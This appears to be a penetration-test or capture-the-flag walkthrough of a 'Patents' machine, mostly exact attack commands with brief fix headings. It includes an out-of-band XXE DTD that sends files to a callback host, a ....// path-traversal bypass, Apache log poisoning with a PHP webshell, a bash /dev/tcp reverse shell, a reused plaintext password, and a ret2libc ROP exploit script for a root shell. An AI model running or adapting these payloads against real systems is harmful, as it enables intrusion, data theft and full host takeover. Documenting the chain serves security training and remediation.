Patents
Summary
The Patents Management application on port 80 accepted .docx uploads for PDF conversion. Its XML parser honoured external entity declarations, enabling out-of-band XXE to exfiltrate server-side files — including a PHP source file that named a separate patent-retrieval endpoint suffering from path traversal. A single-pass ../ strip was defeated with the ....// double-dot bypass, achieving local file inclusion of Apache's access log, which had been poisoned with a PHP webshell via a crafted User-Agent. That yielded remote code execution as www-data inside a Docker container. A root cron job embedded the plaintext service password !gby0l0r0ck$$! in a readable script; it was [REDACTED: recovered credential] to SSH to the underlying host as gbyolo. A git repository accessible from the container retained the lfmserver binary in its history despite an attempted deletion; the binary's URL-decoder copied operator input into a fixed 128-byte stack buffer with no bounds check, no canary, and no PIE. A two-stage ROP chain sent from the container leaked a libc address and then called system("/bin/sh"), yielding a root shell on the real host.
Attack path — how the box was taken
Exact commands 3
nmap -sV -sC -p 22,80,8888 $INTERNAL_TARGETgobuster dir -u http://$INTERNAL_TARGET/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,txt -t 40curl -s http://$INTERNAL_TARGET/release/UpdateDetailsExact commands 6
printf '<!ENTITY %% file SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">\n<!ENTITY %% read "<!ENTITY exfil SYSTEM \x27http://$CALLBACK_HOST/x?%%file;\x27>">\n%%read;' > /tmp/read.dtdprintf '<?xml version="1.0"?>\n<!DOCTYPE foo [<!ENTITY %% xxe SYSTEM "http://$CALLBACK_HOST/read.dtd"> %%xxe; ]>\n<foo>&exfil;</foo>' > /tmp/item1.xmlunzip -q /tmp/clean.docx -d /tmp/evil_docx && cp /tmp/item1.xml /tmp/evil_docx/customXml/item1.xml && cd /tmp/evil_docx && zip -r /tmp/evil.docx . && cd /tmppython3 -m http.server 80curl -s -F 'userfile=@/tmp/evil.docx;type=application/vnd.openxmlformats-officedocument.wordprocessingml.document' http://$INTERNAL_TARGET/convert.phpecho '<BASE64_FROM_LISTENER>' | base64 -dFixDisable external XML entity processing in the docx-to-PDF converterCritical
../ sequences. The bypass was ....//: after one pass strips the inner ../, the remaining characters collapse to ../, achieving the intended traversal. Four ....// segments were enough to reach the filesystem root from the webroot. This was confirmed by including /etc/passwd, and the access log was also verified as readable — the precondition for log poisoning.Exact commands 2
curl -s 'http://$INTERNAL_TARGET/getPatent_alphav1.0.php?id=....//....//....//....//etc/passwd'curl -s 'http://$INTERNAL_TARGET/getPatent_alphav1.0.php?id=....//....//....//....//var/log/apache2/access.log'FixFix the path-traversal vulnerability in the patent-retrieval endpointCritical
../, which was trivially bypassed by ....//. This allowed inclusion of any file readable by the web process.Exact commands 4
curl -s -A '<?php system($_GET["cmd"]); ?>' http://$INTERNAL_TARGET/curl -s 'http://$INTERNAL_TARGET/getPatent_alphav1.0.php?id=....//....//....//....//var/log/apache2/access.log&cmd=id'nc -lvnp 4444curl -s 'http://$INTERNAL_TARGET/getPatent_alphav1.0.php?id=....//....//....//....//var/log/apache2/access.log&cmd=bash+-c+%27bash+-i+%3E%26+/dev/tcp/$CALLBACK_HOST/4444+0%3E%261%27'FixPrevent PHP execution inside log directories and sanitize logged HTTP headersHigh
Exact commands 4
wget -q http://$CALLBACK_HOST/pspy64 -O /tmp/pspy64 && chmod +x /tmp/pspy64 && /tmp/pspy64cat /opt/checker_client/run_file.shssh gbyolo@$INTERNAL_TARGETcat /home/gbyolo/user.txtFixRemove plaintext credentials from cron scripts and service configuration filesHigh
Exact commands 4
cd /usr/src/lfm && git log --onelinegit checkout <COMMIT_BEFORE_REMOVAL> -- lfmservercp /usr/src/lfm/lfmserver /var/www/html/docx2pdf/uploads/lfmserverwget http://$INTERNAL_TARGET/uploads/lfmserver -O /tmp/lfmserver && chmod +x /tmp/lfmserverFixRemove sensitive binaries from version-control history and restrict repository access from containersMedium
Exact commands 3
checksec --file=/tmp/lfmserverROPgadget --binary /tmp/lfmserver --rop | grep -E 'pop rdi|pop rsi|pop r15|ret$'python3 -c "from pwn import *; print(cyclic(200).decode())" | nc -w3 localhost 8888FixFix the stack buffer overflow in lfmserver and enable standard binary hardeningCritical
Exact commands 3
python3 /tmp/exploit.py# from pwn import *
# HOST, PORT = '$INTERNAL_TARGET', 8888
# OFFSET = 148
# pop_rdi = 0x<addr> # ROPgadget output
# pop_rsi_r15 = 0x<addr>
# write_plt = 0x<addr> # readelf -s lfmserver
# write_got = 0x<addr>
# write_off = 0x<offset> # pwntools libc database or readelf on libc2.28
# system_off = 0x<offset>
# binsh_off = 0x<offset>
# def make_req(rop):
# pad = b'CHECK /convert.php\x00' + b'A'*OFFSET
# req = pad + rop + b' LFM\r\n'
# req += b'User=lfmserver_user\r\nPassword=!gby0l0r0ck$$!\r\n\r\n'
# req += b'[REDACTED: protected value]\n'
# return req
# stage1 = p64(pop_rdi)+p64(1)+p64(pop_rsi_r15)+p64(write_got)+p64(0)+p64(write_plt)
# r = remote(HOST, PORT); r.send(make_req(stage1))
# leak = u64(r.recv(8)); libc_base = leak - write_off
# system = libc_base + system_off; binsh = libc_base + binsh_off
# stage2 = p64(pop_rdi)+p64(binsh)+p64(system)
# r2 = remote(HOST, PORT); r2.send(make_req(stage2)); r2.interactive()cat /root/root.txtFixFix the stack buffer overflow in lfmserver and enable standard binary hardeningCritical
Exposed services
| 22/tcp | ssh OpenSSH 7.7p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) |
| 80/tcp | http Apache httpd 2.4.29 ((Ubuntu)) |
| 8888/tcp | sun-answerbook? |